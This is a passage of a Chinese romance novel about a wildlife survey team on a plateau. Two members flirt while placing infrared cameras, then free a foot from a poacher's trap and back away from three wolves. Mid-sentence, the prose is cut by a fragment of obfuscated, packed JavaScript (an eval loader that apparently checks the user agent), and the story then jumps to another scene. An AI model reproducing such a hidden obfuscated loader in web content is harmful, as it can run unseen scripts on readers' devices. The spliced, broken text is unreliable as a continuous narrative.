容元已经把长发扎了个低马尾,可马尾竟然散乱冲起来,差点把她的帽子都打飞。她赶紧把帽绳绑紧。 章砺楚直接把防晒帽摘了塞进背包侧袋,任由强烈的阳光直直打在他脸上。 有一刻,他们蓦地同时看向对方,但谁也没出声。 也许是怕破坏了旷风的歌唱,怕惊扰了立在石壁上沉默的岩羊。 不多时,章砺楚排出一条兽道,拍照记录,并用GPS定位。他跟随那条路线找到了一处适合布设红外相机的岩块,很快开始调适角度。 容元想到他们的工作流程,过去问他:“是从那边开始爬过来吗?” 她跟他一样扶着石块半蹲,是真心地要配合帮忙。 长发被她卷成一个乱丸子头别在耳后,帽绳紧紧勒着下巴,白净秀丽的面孔,身上套着朴素沉闷的户外套装,跟其他人一样几天没洗,衣褶子里都是灰白的泥印。 刘枫说她是个可浓可淡的美人,真是一点不错,能粉妆玉琢,也能不修边幅。 豁朗的心灵本身就是精金美玉。 章砺楚指向兽道中间一处,比划了一下:“你去那边蹲低就行,大概这么高,不用爬。” 容元依言过去蹲下,缩着肩膀下压,声音被挤得干瘪:“真的不用爬吗?我现在是调研团的一份子,章老师可以指挥我工作。” “我脑内可以模拟,等你爬过来我已经弄完了。”他风轻云淡说着,手中操作行云流水。 容元翻了个白眼。 确实是高效,群里其他人刚发消息说排出兽道的时候,章砺楚已经带着容元赶去下一个勘察点。 “跟吉美有很多话聊么?” 并肩而行,男人的声音沉沉传过来,震得容元后颈一麻,呼吸跳帧,凹凸不平的狂野岩地还绊了下她。 容元就很没面子地一栽,脑袋磕进某人的锁骨和手臂的连接处,好像正是前几天令她满腹酸涩的刘枫拍的地方。 竟然,确实,有弹性,很减震。 但是怎么老在他跟前东歪西倒,好像她多故意去贴他似的。 有弹性的胸膛起伏闷震,是他笑了笑,低浅的气音像水一样流过她的耳膜。 容元整颗头都麻了,立时直起身离开三步远。 “吉美看到我绊倒不会笑我。” “好,抱歉。” 他真敛了笑,静静地直视她,好像真的知道刚才自己犯了点小错,在等待她的谅解。 疏凉的风高唱低吟,层云游弋,云影来了又走,炽烈日光乍然再现,堂而皇之地将他的面孔曝光。 毋宁说是光的偏爱。 章砺楚也是折叠度很高的脸,但跟吉美那种不一样。吉美的脸更像是被收束的窄,像这里的高山和峡谷,由地壳碰撞和挤压形成的深邃落差。而章砺楚更接近于浑然天成的内在力量,因为受到展示美丽的天命的召唤,拔地而起。 是的,容元有时会想用美来形容他。因为,他深刻立体的骨相,最终是为了托起那一双深潭静水,仿佛能承载万物的眼睛。 浅瞳在日光下太作弊了,他仿佛能看透一切,又因为疏离,而能无谓地接受一切。 就是这种劲儿。 容元觉得完蛋。 她那颗休眠了许久的、乳臭未干的、不顾死活的非分之心好像要醒了。 章砺楚很快在第二个地方锁定了关键点位——一个浅窄的洞穴,里头有动物毛发和碎骨的残迹。 “来过这里的猎食者不止一种。”章砺楚语气还很平静,但放光的眼睛泄露了他的欣喜。 他拍下照片,发给了好几个群。 醒过神时,容元发现自己头已经歪得跟半跪在地的某人一个角度,傻傻地跟着他兴奋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“在预案之内,不算麻烦。你运气还挺好,既发现了兽夹,脚也没事,鞋子都没破洞。”章砺楚低声说着,单手去包里翻出了解夹器。 “真的?”容元瞬间开心起来,扭脖子去看另一边,说:“那我们待会儿再找找周围,说不定还有夹子。可恶的盗猎分子。” “嗯,对。” “是不是在群里跟他们说,让他们也小心……” “嗯?怎么了?” 章砺楚低着头给她拆夹子,不知她语气为何僵滞,他有点预感,但单手操作比较慢,不敢乱动。 “章砺楚,”容元咬了咬牙,“有狼。” “几只。”他平淡得好像是遇到了兔子。 “两只。” “两只我们不怕,你就拿出你平时神神气气的样子瞪它们。手机在手上吧?给吉美和小周他们打电话,他们应该离我们最近。” 容元照做,但是嘴上没饶他:“不怕的话为什么还要打电话。” “狼是群居动物,通常以五只以上为一群活动。” 容元飞速通知了许一斌和大阳,一边忙着瞪狼,还在贫嘴:“刘枫老师不是说你在明尼苏达鏖战过十几匹狼吗?” 听得出他很无语:“刘枫胡扯。那时是一起去的同事有热兵器。” “哦。” 章砺楚回过味来,这段是他们刚从机场出来那会儿说的了:“你那时不是在听歌吗?” 啧,失算。 容元催他:“好了没啊,我脖子要拧断了,你再蹲着这俩狗东西就要扑过来了。” 两只狼一左一右盯着他们,小心地往前踱步寻找机会,那灰黄杂毛的大尾巴扫把似的在地上扫来扫去,尖嘴咧开,口水从獠牙那滴下来。 容元及时挥手吼了几声把它们唬住了一下。但毕竟女性的体型威慑力不够,动物界的生存法则就是恃强凌弱、畏大欺小,它们又开始试探向前。 并且这时,它们的另外一个同伴也赶到了。容元和章砺楚处在一个角落,已经被三匹狼包围住。 “好了。” 章砺楚一出声,容元立马转身举起双手,大猩猩似的蹦迪。狼停了停,更压低前驱,准备攻击或者防守。 章砺楚三两下把兽夹和钢丝分开,拎着兽夹站起来,像座山一样护在容元身旁。 这下三只狼不得不后退了点。 “脚疼吗?”章砺楚问她。 “有点,不影响逃跑。” 章砺楚纠正她:“不跑,要缓慢移动。” 真跑起来只会激发它们的追捕天性,在这种野外,人是跑不过狼的。 “好的,章老师。” 两人一边交流着,一边拿上他们的物品,身贴着身,面朝几只狼慢慢走出去。三只狼面对两个成年人不算有优势,它们只能亦步亦趋跟着。 就这么相对静止地移动了七、八分钟,吉美拿着木棍和石头大呼着跑过来了。他身后跟着上气不接下气的周小舟和大阳,再远处还有剩下的其他人。远远看过去,这群人就像一条长长的粗细不均的绳子,但总归是连在一起的。